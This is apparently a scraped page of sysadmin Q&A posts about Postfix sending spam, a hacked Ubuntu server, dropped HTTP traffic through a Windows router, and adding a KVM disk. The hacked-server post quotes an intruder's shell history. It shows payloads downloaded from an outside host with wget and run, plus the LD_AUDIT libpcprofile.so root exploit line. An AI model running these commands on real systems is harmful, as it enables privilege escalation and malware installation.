simple bash-based webserver for logging XML in HTTP POST for testing purpose

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  • Postfix message ID originating process?

    - by Anders Braüner Nielsen
    Last night my postfix mail server(Debian Squeeze with dovecot, roundcube, opendkim and spamassassin enabled) started sending out spam from a single domain of mine like these: $cat mail.log|grep D6930B76EA9 Jul 31 23:50:09 myserver postfix/pickup[28675]: D6930B76EA9: uid=65534 from=<[email protected]> Jul 31 23:50:09 myserver postfix/cleanup[27889]: D6930B76EA9: message-id=<[email protected]> Jul 31 23:50:09 myserver postfix/qmgr[7018]: D6930B76EA9: from=<[email protected]>, size=957, nrcpt=1 (queue active) Jul 31 23:50:09 myserver postfix/error[7819]: D6930B76EA9: to=<[email protected]>, relay=none, delay=0.03, delays=0.02/0/0/0, dsn=4.4.2, status=deferred (delivery temporarily suspended: lost connection with mta5.am0.yahoodns.net[66.196.118.33] while sending RCPT TO) The domain in question did not have any accounts enabled but only a catchall alias set through postfixadmin - most emails were send from a specific address I use frequently but some were also sent from bogus addresses. None of the other virtual domains handled by postfix were affected. How can I find out what process was feeding postfix/sendmail or more info on where they originated? As far as I can tell php mail() wasn't used and I've run several open relay tests. I did a little tinkering(removed winbind from the server and ipv6 addresses from main.cf) after the attack and it seems to have subsided but I still have no idea how my server was suddenly sending out spam. Maybe I fixed it - maybe I didn't. Can anyone help figuring out how I was compromised? Anywhere else I should look? I've run Linux Malware Detect on recently changed files but nothing found.

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  • Ubuntu Server hack

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Server 2003 and XP Client; Why are HTTP connections being silently dropped.

    - by Asa Yeamans
    On my network, my edge-router, a windows 2003 r2 server router with all the latest updates, will drop packets, but only under specific circumstances. I have troubleshot and isolated it down to the most simple configuration i can. There is NO NAT involved. Only fully-public IP addresses. No Firewalls are running either, all ahve been disabled. no packet filters on any interfaces anywhere either. I have a single Windows XP virtual machine and my edge-router(the windows 2003 r2 server, and also a virtual machine) running on a windows 2008 x64 r2 system (running virtual server 2005 as i dont have Intel-VT compatible chip yet). The edge router can access any external http site just fine, no issues. However the windows XP machine is only able to access certain sites. These work: www.google.com www.txstate.edu www.workintexas.com www.thedailywtf.com . These Dont: www.yahoo.com www.utexas.edu en.wikipedia.org slashdot.org www.bing.com. I have removed all possibility of DNS issues by connecting with net-cat from the XP box and sending GET /\r\nHost: \r\n\r\n and that connection replicates the issue as well. The network setup: My statically assigned IP block: x.x.x.168/29 DSL Modem -----PPPoE Connection---- x.x.x.169[EdgeRouter] [EdgeRouter]x.x.x.170 -----Virtual Ethernet----- x.x.x.174 [Test2] Test2's Default gateway is x.x.x.170 and test2 can ping any and every valid, accessible, public IP address with no packet loss what-so-ever. If i connect directly over PPPoE from test2 (the XP box) everything works just fine... Im at my wits end, i have NO IDEA whats causing this.

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  • KVM and libvirt: How to configure a new disc device to an existing VM?

    - by initall
    I've got an Ubuntu 9.04 server running two VM's. In /etc/libvirt/qemu/machine1.xml two disk devices are defined like this: <devices> <emulator>/usr/bin/kvm</emulator> <disk type='file' device='disk'> <source file='/vserver/machine1/disk0.qcow2'/> <target dev='hda' bus='ide'/> </disk> <disk type='file' device='disk'> <source file='/vserver/machine1/disk1.qcow2'/> <target dev='hdb' bus='ide'/> </disk> I need more storage space in at least one of the devices and thought about adding a third hdc device by simply adding one with same style as above and re-organising my mount structure (The virtual sizes of the current qcow2 files are unfortunately limited.) My problem is that reloading libvirtd and restarting the VM do not result in a new visible device (checked with fdisk). I'm aware of extending an existing qcow2 file (converting to raw format, cat-ing/adding the new one, using smth. like gparted) - but only as a last resort. Hopefully it's something very simple I'm missing?

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